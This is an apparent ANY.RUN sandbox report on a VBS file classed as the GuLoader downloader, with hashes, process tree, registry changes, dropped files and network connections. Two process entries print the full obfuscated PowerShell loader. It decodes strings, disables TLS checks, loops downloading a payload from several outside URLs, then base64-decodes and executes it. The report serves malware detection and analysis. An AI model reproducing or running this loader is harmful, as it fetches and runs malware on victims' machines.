File name:

306f6928f04ff30ced95163cc97981ea9d0c4a51da496df9b1f44aeecc29e63f.vbs

Full analysis: https://app.any.run/tasks/5d893d16-6222-49d1-a61a-94e3e4427508
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: July 09, 2024, 08:07:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
guloader
loader
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

FFCC07FE19C3F6327DC2EEEE3EA0C8B3

SHA1:

D999E4E20EDB400E98785C009B40DF8A5CA46611

SHA256:

306F6928F04FF30CED95163CC97981EA9D0C4A51DA496DF9B1F44AEECC29E63F

SSDEEP:

3072:s4oGKaBSPReHzR0WAjT28fyxa+CS64B9Ou4rIQCtv5D:5t7SPReHd0WoT28faa+CS64mu8IQCtvB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GULOADER has been detected

      • powershell.exe (PID: 6156)
      • powershell.exe (PID: 3168)

  • SUSPICIOUS

    • Accesses system date via WMI (SCRIPT)

      • wscript.exe (PID: 2832)

    • Accesses WMI object, sets custom ImpersonationLevel (SCRIPT)

      • wscript.exe (PID: 2832)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2832)
      • powershell.exe (PID: 6156)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6156)
      • powershell.exe (PID: 3168)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3168)
      • powershell.exe (PID: 6156)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 3168)
      • powershell.exe (PID: 6156)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 3168)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2832)

    • Accesses WMI object display name (SCRIPT)

      • wscript.exe (PID: 2832)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 6156)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6156)
      • powershell.exe (PID: 3168)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6156)
      • powershell.exe (PID: 3168)

    • Disables trace logs

      • powershell.exe (PID: 6156)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 3168)
      • powershell.exe (PID: 6156)

    • Creates or changes the value of an item property via Powershell

      • powershell.exe (PID: 6156)
      • wscript.exe (PID: 2832)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3168)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
147
Monitored processes
9
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GULOADER powershell.exe conhost.exe no specs cmd.exe no specs #GULOADER powershell.exe no specs sppextcomobj.exe no specs slui.exe cmd.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2832"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\306f6928f04ff30ced95163cc97981ea9d0c4a51da496df9b1f44aeecc29e63f.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2968"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Inklinerendes.Alo && echo t"C:\Windows\SysWOW64\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
3168"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nymfomanens101 Antiamboceptor134 Blodskams bedrestilledes Cafeteriaet acroasis Motivationerne Bakteriefrit latineres scleroconjunctival Philopterid Gasapparaters Koibal Brashiest Begash Unrejuvenating Differentialregning Insolubilize Saligprisningen Idiomaticity Forpligtelseserklrings Pedalferic cantingly Attacheringernes Nymfomanens101 Antiamboceptor134 Blodskams bedrestilledes Cafeteriaet acroasis Motivationerne Bakteriefrit latineres scleroconjunctival Philopterid Gasapparaters Koibal Brashiest Begash Unrejuvenating Differentialregning Insolubilize Saligprisningen Idiomaticity Forpligtelseserklrings Pedalferic cantingly Attacheringernes';If (${host}.CurrentCulture) {$Caesarship++;}Function Kalkulerer($Spanielship){$Mikingndfdtes=$Spanielship.Length-$Caesarship;$Navngivelsers='SUBsTR';$Navngivelsers+='ing';For( $Miking=1;$Miking -lt $Mikingndfdtes;$Miking+=2){$Nymfomanens101+=$Spanielship.$Navngivelsers.Invoke( $Miking, $Caesarship);}$Nymfomanens101;}function Krybeklderen($Skospnde){ & ($Cirrocumulus) ($Skospnde);}$Gospelizes=Kalkulerer 'sMWo.zPi,lUlFa / 5 . 0 S(,W iGnKd,oEw sS .N TM ,1 0 .P0S;S OWKi n 6,4 ;, Rx,6.4D; ,r v :D1D2 1 . 0A)B AGUe c,kSo./ 2,0 1I0 0y1S0 1, F i rUeFfGosxA/r1.2 1 .P0, ';$Omvekslingernes165=Kalkulerer ',URsGeSr.-.AagAe n tA ';$Cafeteriaet=Kalkulerer ' hDt tTpAsT:O/K/.mBo v iSeSsamFa.cSkAtSa lAkI.Gc,oSm / K aVmWeSl,eBnTsG.SxMt p.>ShRt t,p.s,:T/,/ m.i,l aFnDaOc eCs . cdoUm /BK.a.m eplbesn s . xPt p >.hNt.t pTs,:L/ /.f,iHrSsAtN4Sl o c k s.mSi t,hMs,.Rc o . u.kU/hK,a.mIeFlReGnds .Axat p > h t.tcpS: /Q/P1O0 3A.o1 9T5 ..2.3U7,. 4K3F/RK,a mOeSlTe nBs,.vxCt p, ';$Separerende=Kalkulerer 'A>D ';$Cirrocumulus=Kalkulerer ',ioe x ';$Kortarmet='Bakteriefrit';$Satisfaktionens = Kalkulerer 'BePcFhKo ,%Ra pPp d aitSaV% \PI,n,k lUi nCeRr e n d,e,sD. A,lBo. C&.& FeBcFh o ,tH ';Krybeklderen (Kalkulerer ' $Dgml o b aRlP: S oScSi oAsPeSx.uMaFlaiNt.y =A( c m dd ,/,cL S$VS,aUtpi.sCf a.k tHi oAnDe.nEsD) ');Krybeklderen (Kalkulerer 'P$TgTl oDb a lB:ub,e dPr,e sCt,i l lAeSd e sL=F$LC aUf eTtKeBrRiSaBeAt .Us,p l iAtA( $fS eFp,a,rPe.rPeUnkdSeS)S ');Krybeklderen (Kalkulerer '.[IN.e,tC.SSFe rAvciScMeFP o,iAnMt M a nLa g e,r,]P:.: SFeSc,u,rBi t,y.P.r.o.tGoFcUo lS = .[FNBeNtE.RS e.cYuPrFiMtLy PIr,oFtSo cAo.lSTNy pNeH]A:.:UT,l,s 1 2S ');$Cafeteriaet=$bedrestilledes[0];$Endolabyrinthitis= (Kalkulerer 'P$.gYl oEbAa,lV:,GblKoWp nRe n 9U5T=.N eFw.-JO b,jSe cHt S yDspt ePmP.KN eOt..FW e b C lJipe nWt');$Endolabyrinthitis+=$Sociosexuality[1];Krybeklderen ($Endolabyrinthitis);Krybeklderen (Kalkulerer ',$TG lEo pKn eBn 9P5 .GH eOaNdAeZr s [ $BO.mcvSe.k.sUl i.nlgFeWr nte.si1.6,5 ] =B$ G.oSs pVe lRi zBe sK ');$enamouring=Kalkulerer ' $.GAlKo pUn.e nP9 5R.DD.oDw nHl oAaUd F i lMeP( $TCDa fNe.t,eUrwi,aSePtP, $ P,eEduaGl,fbe r.iEcI), ';$Pedalferic=$Sociosexuality[0];Krybeklderen (Kalkulerer ' $FgBlSo b aFlS:LT.r o p.eFs yGg,d o.m,mRe.nLsF= (,TTe.sptS-DPKaPt h O$.P.e dDaDl f eUrliOc )T ');while (!$Tropesygdommens) {Krybeklderen (Kalkulerer ' $.gIlPo bSaTl,:GSVw a y,eUr =.$Et,rSu e ') ;Krybeklderen $enamouring;Krybeklderen (Kalkulerer ',S t aTr t,-,S lSeSeDp. 4S ');Krybeklderen (Kalkulerer 'S$Gg.lso b aGl :GT.rVoJpLeRs yBgUd oSmEmde nDs =h(,T.eHsNt,-fP aKt.h, ,$lPVeFdSa lAfAeUr i,c )V ') ;Krybeklderen (Kalkulerer 'H$Gg,l o bFaOl :PBFlEo,d sSkUaBm,s.=B$.gPlKo.b a,l.:SA n t iRaMmKbAoScAe p t o.rS1 3 4.+S+.%.$kb e,dSrAeJsFt iSlPlSeUd,e sh. cJosuNnCt. ') ;$Cafeteriaet=$bedrestilledes[$Blodskams];}$Rescinders=357010;$Toppenes=26115;Krybeklderen (Kalkulerer 'K$TgSl.o bSa.l :AlRaPtPi.n,eVr,e,s U=T OG.e.t - CNoTn t eEn.t O$LPGe dAanlTfBeNrBi.c ');Krybeklderen (Kalkulerer 'W$,g lCo b,a l,:.DBiSpAt eSrMo lLojg y 2A1E9, b=S .[ S.y,sAt,eGm ..CRosnDvEeCr,tf]H:,: F rMo.mFBMa s eP6B4PS ttrFi,n gM(O$.l.aDt i.n eSrKe s )T ');Krybeklderen (Kalkulerer ' $.g l oEb.aAl : G aTs a,p.p a r a tCeIr,s T= M[.SfyosBt.e.mN.STCepx tD. E nUc o,d,iMn.g ].:F:CANSFC I.IK. GMePt S tEr i.n gF(M$.DTiSpatGeMr.oClKoSg yS2V1G9,)D ');Krybeklderen (Kalkulerer 'M$.g lHoCbAaSlV:,fNr uBcMt,iLp.a.r o u sP=S$ GBaDs.a,p p,a rMa t eDr sP. sMu b s tRr.i.n g.( $ RSe s c,iSn d e r sM, $BTUo p p.e n,eFsL). ');Krybeklderen $fructiparous;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5084C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
5132"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6156"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nymfomanens101 Antiamboceptor134 Blodskams bedrestilledes Cafeteriaet acroasis Motivationerne Bakteriefrit latineres scleroconjunctival Philopterid Gasapparaters Koibal Brashiest Begash Unrejuvenating Differentialregning Insolubilize Saligprisningen Idiomaticity Forpligtelseserklrings Pedalferic cantingly Attacheringernes Nymfomanens101 Antiamboceptor134 Blodskams bedrestilledes Cafeteriaet acroasis Motivationerne Bakteriefrit latineres scleroconjunctival Philopterid Gasapparaters Koibal Brashiest Begash Unrejuvenating Differentialregning Insolubilize Saligprisningen Idiomaticity Forpligtelseserklrings Pedalferic cantingly Attacheringernes';If (${host}.CurrentCulture) {$Caesarship++;}Function Kalkulerer($Spanielship){$Mikingndfdtes=$Spanielship.Length-$Caesarship;$Navngivelsers='SUBsTR';$Navngivelsers+='ing';For( $Miking=1;$Miking -lt $Mikingndfdtes;$Miking+=2){$Nymfomanens101+=$Spanielship.$Navngivelsers.Invoke( $Miking, $Caesarship);}$Nymfomanens101;}function Krybeklderen($Skospnde){ & ($Cirrocumulus) ($Skospnde);}$Gospelizes=Kalkulerer 'sMWo.zPi,lUlFa / 5 . 0 S(,W iGnKd,oEw sS .N TM ,1 0 .P0S;S OWKi n 6,4 ;, Rx,6.4D; ,r v :D1D2 1 . 0A)B AGUe c,kSo./ 2,0 1I0 0y1S0 1, F i rUeFfGosxA/r1.2 1 .P0, ';$Omvekslingernes165=Kalkulerer ',URsGeSr.-.AagAe n tA ';$Cafeteriaet=Kalkulerer ' hDt tTpAsT:O/K/.mBo v iSeSsamFa.cSkAtSa lAkI.Gc,oSm / K aVmWeSl,eBnTsG.SxMt p.>ShRt t,p.s,:T/,/ m.i,l aFnDaOc eCs . cdoUm /BK.a.m eplbesn s . xPt p >.hNt.t pTs,:L/ /.f,iHrSsAtN4Sl o c k s.mSi t,hMs,.Rc o . u.kU/hK,a.mIeFlReGnds .Axat p > h t.tcpS: /Q/P1O0 3A.o1 9T5 ..2.3U7,. 4K3F/RK,a mOeSlTe nBs,.vxCt p, ';$Separerende=Kalkulerer 'A>D ';$Cirrocumulus=Kalkulerer ',ioe x ';$Kortarmet='Bakteriefrit';$Satisfaktionens = Kalkulerer 'BePcFhKo ,%Ra pPp d aitSaV% \PI,n,k lUi nCeRr e n d,e,sD. A,lBo. C&.& FeBcFh o ,tH ';Krybeklderen (Kalkulerer ' $Dgml o b aRlP: S oScSi oAsPeSx.uMaFlaiNt.y =A( c m dd ,/,cL S$VS,aUtpi.sCf a.k tHi oAnDe.nEsD) ');Krybeklderen (Kalkulerer 'P$TgTl oDb a lB:ub,e dPr,e sCt,i l lAeSd e sL=F$LC aUf eTtKeBrRiSaBeAt .Us,p l iAtA( $fS eFp,a,rPe.rPeUnkdSeS)S ');Krybeklderen (Kalkulerer '.[IN.e,tC.SSFe rAvciScMeFP o,iAnMt M a nLa g e,r,]P:.: SFeSc,u,rBi t,y.P.r.o.tGoFcUo lS = .[FNBeNtE.RS e.cYuPrFiMtLy PIr,oFtSo cAo.lSTNy pNeH]A:.:UT,l,s 1 2S ');$Cafeteriaet=$bedrestilledes[0];$Endolabyrinthitis= (Kalkulerer 'P$.gYl oEbAa,lV:,GblKoWp nRe n 9U5T=.N eFw.-JO b,jSe cHt S yDspt ePmP.KN eOt..FW e b C lJipe nWt');$Endolabyrinthitis+=$Sociosexuality[1];Krybeklderen ($Endolabyrinthitis);Krybeklderen (Kalkulerer ',$TG lEo pKn eBn 9P5 .GH eOaNdAeZr s [ $BO.mcvSe.k.sUl i.nlgFeWr nte.si1.6,5 ] =B$ G.oSs pVe lRi zBe sK ');$enamouring=Kalkulerer ' $.GAlKo pUn.e nP9 5R.DD.oDw nHl oAaUd F i lMeP( $TCDa fNe.t,eUrwi,aSePtP, $ P,eEduaGl,fbe r.iEcI), ';$Pedalferic=$Sociosexuality[0];Krybeklderen (Kalkulerer ' $FgBlSo b aFlS:LT.r o p.eFs yGg,d o.m,mRe.nLsF= (,TTe.sptS-DPKaPt h O$.P.e dDaDl f eUrliOc )T ');while (!$Tropesygdommens) {Krybeklderen (Kalkulerer ' $.gIlPo bSaTl,:GSVw a y,eUr =.$Et,rSu e ') ;Krybeklderen $enamouring;Krybeklderen (Kalkulerer ',S t aTr t,-,S lSeSeDp. 4S ');Krybeklderen (Kalkulerer 'S$Gg.lso b aGl :GT.rVoJpLeRs yBgUd oSmEmde nDs =h(,T.eHsNt,-fP aKt.h, ,$lPVeFdSa lAfAeUr i,c )V ') ;Krybeklderen (Kalkulerer 'H$Gg,l o bFaOl :PBFlEo,d sSkUaBm,s.=B$.gPlKo.b a,l.:SA n t iRaMmKbAoScAe p t o.rS1 3 4.+S+.%.$kb e,dSrAeJsFt iSlPlSeUd,e sh. cJosuNnCt. ') ;$Cafeteriaet=$bedrestilledes[$Blodskams];}$Rescinders=357010;$Toppenes=26115;Krybeklderen (Kalkulerer 'K$TgSl.o bSa.l :AlRaPtPi.n,eVr,e,s U=T OG.e.t - CNoTn t eEn.t O$LPGe dAanlTfBeNrBi.c ');Krybeklderen (Kalkulerer 'W$,g lCo b,a l,:.DBiSpAt eSrMo lLojg y 2A1E9, b=S .[ S.y,sAt,eGm ..CRosnDvEeCr,tf]H:,: F rMo.mFBMa s eP6B4PS ttrFi,n gM(O$.l.aDt i.n eSrKe s )T ');Krybeklderen (Kalkulerer ' $.g l oEb.aAl : G aTs a,p.p a r a tCeIr,s T= M[.SfyosBt.e.mN.STCepx tD. E nUc o,d,iMn.g ].:F:CANSFC I.IK. GMePt S tEr i.n gF(M$.DTiSpatGeMr.oClKoSg yS2V1G9,)D ');Krybeklderen (Kalkulerer 'M$.g lHoCbAaSlV:,fNr uBcMt,iLp.a.r o u sP=S$ GBaDs.a,p p,a rMa t eDr sP. sMu b s tRr.i.n g.( $ RSe s c,iSn d e r sM, $BTUo p p.e n,eFsL). ');Krybeklderen $fructiparous;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6164\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6592C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7096"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Inklinerendes.Alo && echo t"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
Total events
16 015
Read events
15 992
Write events
23
Delete events
0

Modification events

(PID) Process:(2832) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2832) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2832) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2832) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6156) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
3168powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
6156powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_25wk1vo5.5li.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3168powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b0f4nzae.is2.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6156powershell.exeC:\Users\admin\AppData\Roaming\Inklinerendes.Alotext
MD5:B73E5366BBBE45D0EFA12A247FBC4069
SHA256:83A61AA9097D5C8498D5A4D382DADC52092E878C73E880DF6936E8936238B1C1
3168powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h3xgpwok.c1l.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6156powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_n314x1kt.ogo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
69
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4724
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
5600
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
4724
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
6356
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
unknown
6424
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
unknown
5908
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
5908
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
3040
OfficeClickToRun.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
2056
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1856
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4724
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4032
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
6156
powershell.exe
89.42.218.27:443
moviesmacktalk.com
ROMARG SRL
RO
unknown
5600
svchost.exe
40.126.31.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5600
svchost.exe
192.229.221.95:80
—
EDGECAST
US
whitelisted
1060
svchost.exe
23.35.238.131:443
go.microsoft.com
AKAMAI-AS
DE
unknown
3040
OfficeClickToRun.exe
52.111.243.29:443
nexusrules.officeapps.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown

DNS requests

Domain
IP
Reputation
login.live.com
  • 40.126.31.67
  • 20.190.159.23
  • 20.190.159.75
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.159.73
  • 20.190.159.64
  • 20.190.159.4
whitelisted
moviesmacktalk.com
  • 89.42.218.27
unknown
go.microsoft.com
  • 23.35.238.131
whitelisted
nexusrules.officeapps.live.com
  • 52.111.243.29
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
client.wns.windows.com
  • 40.113.103.199
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted
www.bing.com
  • 2.23.209.149
  • 2.23.209.137
  • 2.23.209.142
  • 2.23.209.141
  • 2.23.209.133
  • 2.23.209.143
  • 2.23.209.144
  • 2.23.209.132
  • 2.23.209.135
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
306f6928f04ff30ced95163cc97981ea9d0c4a51da496df9b1f44aeecc29e63f.vbs